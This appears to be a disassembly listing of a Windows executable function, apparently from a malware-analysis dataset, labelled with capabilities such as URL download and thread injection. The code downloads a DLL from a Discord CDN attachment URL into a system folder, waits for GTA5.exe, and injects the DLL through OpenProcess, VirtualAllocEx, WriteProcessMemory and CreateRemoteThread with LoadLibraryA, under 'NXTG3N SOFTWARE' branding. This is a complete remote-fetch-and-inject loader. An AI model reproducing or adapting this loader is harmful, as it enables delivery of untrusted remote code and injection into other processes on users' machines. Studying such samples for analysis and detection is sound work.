Function at 0x1400115a5
Capabilities:
Create thread
Delete file
Download url
Execute command
Inject thread
Receive data

Disassembly:
jmp 0x14001a360
push rbp
push rdi
sub rsp, 0x468
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xaa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002b040]
xor rax, rbp
mov qword [rbp + 0x410], rax
lea rcx, [0x1400320f5]
call fcn.140011848
call fcn.140011172
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rbp + 8], rax
lea rdx, str.https:__cdn.discordapp.com_attachments_1162786032740225105_1215228580217229372_BigBaseV2.dll_ex65fbfccfis65e987cfhmb78e97846a04c581d5f08838dc0f0089a5a8ff361fe8780f5191dd7ae0f26665
lea rcx, [rbp + 0x28]
call fcn.140011384
nop
lea rdx, str.C:Program_FilesWindows_NTBigBaseV2.dll
lea rcx, [rbp + 0x68]
call fcn.140011384
nop
lea rax, str.C:Program_FilesWindows_NTBigBaseV2.dll
mov qword [rbp + 0xa8], rax
lea rax, str.GTA5.exe
mov qword [rbp + 0xc8], rax
mov dword [rbp + 0xe4], 0
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ucrtbased.dll_remove]
mov dx, 0xe
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
cmp dword [rbp + 0xe4], 0
jne 0x14001a4c4
lea rcx, [0x140026048]
call fcn.1400113c5
lea rcx, str._rWaiting_for_game
call fcn.1400113c5
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140026048]
call fcn.1400113c5
lea rcx, str._rWaiting_for_game.
call fcn.1400113c5
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140026048]
call fcn.1400113c5
lea rcx, str._rWaiting_for_game..
call fcn.1400113c5
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140026048]
call fcn.1400113c5
lea rcx, str._rWaiting_for_game...
call fcn.1400113c5
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0xc8]
call fcn.14001170d
mov dword [rbp + 0xe4], eax
jmp 0x14001a414
cmp dword [rbp + 0xe4], 0
je 0x14001a60a
lea rcx, [0x140026048]
call fcn.1400113c5
mov dx, 2
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, str._rGAME_FOUND__n
call fcn.1400113c5
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dx, 4
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, str._r
call fcn.1400113c5
lea rcx, str._rNOW_INJECTING
call fcn.1400113c5
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str._r
call fcn.1400113c5
lea rcx, str._rNOW_INJECTING.
call fcn.1400113c5
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str._r
call fcn.1400113c5
lea rcx, str._rNOW_INJECTING..
call fcn.1400113c5
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str._r
call fcn.1400113c5
lea rcx, str._rNOW_INJECTING...
call fcn.1400113c5
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str._r
call fcn.1400113c5
lea rcx, str._rNOW_INJECTING
call fcn.1400113c5
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str._r
call fcn.1400113c5
lea rcx, str._rINJECTED_ENJOY.
call fcn.1400113c5
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str._r
call fcn.1400113c5
lea rcx, str._rENJOY_NXTG3N_SOFTWARE..
call fcn.1400113c5
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400111e5
lea rcx, [rbp + 0x68]
call fcn.1400110cd
mov qword [rbp + 0x408], rax
lea rcx, [rbp + 0x28]
call fcn.1400110cd
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, qword [rbp + 0x408]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call fcn.1400111e0
mov edx, 0x110
lea rcx, [rbp + 0x110]
call fcn.1400115b4
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
mov rdx, qword [rbp + 0xa8]
lea rcx, [rbp + 0x110]
call fcn.1400117ad
mov rax, qword [rbp + 0x110]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x110]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
movzx eax, al
test eax, eax
je 0x14001a6b7
lea rcx, str.Unable_to_download_necessary_files.
call fcn.1400113c5
lea rcx, str.pause
call qword [sym.imp.ucrtbased.dll_system]
mov r8d, dword [rbp + 0xe4]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x238], rax
cmp qword [rbp + 0x238], 0
je 0x14001a7ac
cmp qword [rbp + 0x238], 0xffffffffffffffff
je 0x14001a7ac
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x104
xor edx, edx
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x258], rax
cmp qword [rbp + 0x258], 0
je 0x14001a758
mov rcx, qword [rbp + 0xa8]
call fcn.14001137f
inc rax
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0xa8]
mov rdx, qword [rbp + 0x258]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x258]
mov qword [rsp + 0x20], rax
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x278], rax
cmp qword [rbp + 0x278], 0
je 0x14001a7ac
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x238], 0
je 0x14001a7c3
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
lea r8, str.NXT_G3N_SOFTWARE
lea rdx, str.GTA5__FULLY_INJECTED
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp + 0x110]
call fcn.14001114a
nop
lea rcx, [rbp + 0x68]
call fcn.140011186
nop
lea rcx, [rbp + 0x28]
call fcn.140011186
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x140025120]
call fcn.1400116e5
mov eax, edi
mov rcx, qword [rbp + 0x410]
xor rcx, rbp
call fcn.1400113f7
lea rsp, [rbp + 0x428]
pop rdi
pop rbp
ret